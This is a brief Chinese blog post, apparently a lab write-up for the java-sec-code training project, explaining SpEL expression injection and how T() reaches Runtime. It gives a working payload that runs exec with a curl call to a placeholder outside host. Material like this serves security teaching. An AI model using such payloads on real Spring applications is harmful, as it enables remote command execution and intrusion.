[Java-sec-code]SpEL表达式注入

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java-sec-code]SpEL表达式注入相关的知识,希望对你有一定的参考价值。

SpEL

我们学安全主要了解那些对我们有用的东西,在这里有一篇链接方便大家进行了解https://www.jianshu.com/p/e0b50053b5d3
此外,我觉得其中最重要的是通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:,并且如果包在java.lang下面可以省略这一部分,因此我们便可以利用此方法调用Runtime执行命令

SpEL表达式注入

org/joychou/controller/SpEL.java下面,在这里获取get传入的expression参数,并对其进行解析

因此我们只需要构造

T(java.lang.Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")

简化一下就是

T(Runtime).getRuntime().exec("curl http://xxx.xx.xx?a=Y4tacker")

成功执行

以上是关于[Java-sec-code]SpEL表达式注入的主要内容,如果未能解决你的问题,请参考以下文章

web安全Spel表达式注入漏洞

一文详解SpEL表达式注入漏洞

spel 表达式语言 注入

Springday01 maven依赖Spring介绍IOC模块IOC控制反转DI依赖注入SpEL表达式

Spring之@Value详解,利用SPEL注入List

SpEL表达式